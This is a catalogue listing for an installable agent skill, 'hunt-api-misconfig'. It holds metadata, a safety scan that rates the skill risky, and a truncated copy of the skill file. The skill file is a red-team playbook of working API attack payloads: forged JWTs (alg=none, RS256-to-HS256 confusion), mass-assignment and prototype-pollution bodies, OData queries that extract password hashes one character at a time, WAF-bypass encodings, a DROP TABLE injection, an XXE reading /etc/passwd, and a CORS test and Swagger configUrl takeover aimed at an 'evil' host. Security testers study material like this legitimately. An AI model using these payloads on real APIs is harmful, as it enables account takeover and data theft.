hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, JWT attacks, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies.
Install / Use
npx skills add uphiago/recon-skills --skill hunt-api-misconfigInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of hunt-api-misconfig
hunt-api-misconfig scores 93/100 on our quality scale, 367th of 1,111 Security skills we index (top 34%).
Its SKILL.md is 25 KB long, well organised into 77 sections with 28 code examples: a thorough specification that gives an agent plenty to work with.
With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 3 months ago, so hunt-api-misconfig is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to perform privilege-escalation and account-takeover attacks (mass assignment, JWT alg=none/algorithm confusion, kid path traversal) against target APIs.
AI review: risky
- Instructs the agent to perform privilege-escalation and account-takeover attacks (mass assignment, JWT alg=none/algorithm confusion, kid path traversal) against target APIs.
- Directs automated exfiltration of sensitive data such as password hashes, emails, and financial records via OData blind extraction, shadow API discovery, and CORS credential leakage.
- Includes destructive/exploitative payloads and chains (prototype pollution → RCE, SQL injection/DROP TABLE, $batch WAF bypass, rate-limit bypass) that compromise or abuse target systems.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-04. Automated pattern scan on 2026-10-04. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-api-misconfig compared with similar skills
All 4 of these similar skills score higher than hunt-api-misconfig; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-api-misconfig (this skill)by uphiago | 93 | 1.3k | 3mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install hunt-api-misconfig?
- Run
npx skills add uphiago/recon-skills --skill hunt-api-misconfig. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-api-misconfig work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-api-misconfig safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to perform privilege-escalation and account-takeover attacks (mass assignment, JWT alg=none/algorithm confusion, kid path traversal) against target APIs. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-api-misconfig still maintained?
- The repository was last updated about 3 months ago, so hunt-api-misconfig is actively maintained.
Skill content
View source on GitHubname: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, JWT attacks, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT: alg=none, weak HMAC bruteforce, kid path traversal, JWK injection, token confusion. Prototype pollution: proto injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, JWT flaws, mass-assignment, prototype pollution." version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [api, misconfiguration, hunt, redteam]
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
CORS Exploitation
# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators (eq, ne, and, or, substringof, startswith, tolower, concat, replace) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
Attack class 1 — Boolean-logic blind extraction via startswith / substringof
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no '/-- characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)
Attack class 2 — $orderby / $select column-disclosure bypass
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby accepts column names the user has no $select permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection ($select) but NOT on $orderby / $filter — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
Attack class 3 — $batch multipart/mixed → per-request WAF signatures miss sub-operations
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
WAFs that scan only the outer request body (or that don't natively parse multipart/mixed) skip every inner operation. ModSecurity refused multipart/mixed historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.
Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style
Mixed-case operators (Eq, EQ) and obscure ones (substringof, tolower, concat, replace) look unlike SELECT/UNION so SQLi-keyword signatures never fire. WAFs that key on the literal string $filter see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)
Attack class 5 — OData → real SQLi when library passes filter raw
$filter=Name eq 'x'); DROP TABLE Users--'
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> in application/xml body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep $filter recursion → stack overflow).
Bonus — $expand navigation-property IDOR
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).
Detection heuristics
- Response headers:
OData-Version: 4.0/DataServiceVersion: 3.0; URL paths/_api/,/odata/,/_vti_bin/,/api/data/v9.x/,/sap/opu/odata/. - Try
$metadata→ if anonymous, the full schema (entity sets, navigation properties, function imports) is yours. - Probe each entity set with
$filter=1 eq 1,$top=1,$select=*, then$orderby=<column-you-shouldnt-see>for column-level ACL. - Send the same payload three ways (
$filter=,%24filter=,%2524filter=) and through$batch— divergent WAF behaviour confirms the parser-discrepancy bug.
NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)
NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (/swagger, /swagger/v1/swagger.json, /swagger/index.html) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
Default discovery paths (cross-references web2-recon)
# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json
# Quarkus
/q/openapi, /q/swagger-ui
# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager
Tools: kiterunner natively eats OpenAPI; sj (Swagger Jacker), apidetector, XSSwagger.
Attack chains
A. Spec disclosure → mass IDOR / BOLA. Spec lists every GET /api/v1/users/{userId}/.... jq '.paths | keys' swagger.json → swap {userId} for victim's ID via Autorize/ffuf -mc 200. Common case: spec leaks /api/admin/users/{id}/reset-password documented but missing [Authorize(Roles="Admin")] on the controller — low-priv ATO.
B. Spec disclosure → mass-assignment payload construction. components.schemas.UserUpdateDto enumerates every model field including isAdmin, emailVerified, tenantId, role. Attacker copies the schema verbatim into PATCH /users/me and adds the privileged fields. Server's [FromBody] binder accepts them when DTOs aren't split into read-vs-write models.
C. Hidden endpoints. Specs document /internal/*, /debug/*, /v0/*, /legacy/* routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
D. Swagger UI configUrl takeover. Swagger UI loads its config from ?configUrl=. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the legitimate Swagger UI with ?configUrl=https://evil/spec.json. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. (HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025)
Disclosed cases
- CVE-2018-25031 — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
- Swagger UI DOM XSS (3.14.1 → 3.38.0) — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser (Vidoc Security Lab writeup, PortSwigger Daily Swig). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
- HackerOne #3124103 — U.S. Department of Defense, Swagger UI Injection (May 2025).
- HackerOne #2534300 — Ionity GmbH, HTML injection in Swagger UI.
- HackerOne #1656650 — Reflected XSS via Swagger UI
url=parameter. - CloudSEK threat-intel (2024) — actors abuse exposed
swagger-uito invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. (CloudSEK report) - CVE-2023-38337 —
rswag(Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
Detection checklist
- httpx-probe every path above across the full subdomain set; flag 200 with
Content-Type: application/jsonAND body matching"swagger"or"openapi". - For every hit:
jq '.paths | keys' swagger.json→ feed to kiterunner / Autorize. jq '.components.schemas' swagger.json→ mass-assignment field candidates.- Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
- Test
?configUrl=and?url=parameter handling on every Swagger UI hit.
Shadow API Discovery
Shadow APIs are undocumented, forgotten, or decommissioned API endpoin
Truncated for display — read the full file on GitHub.
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
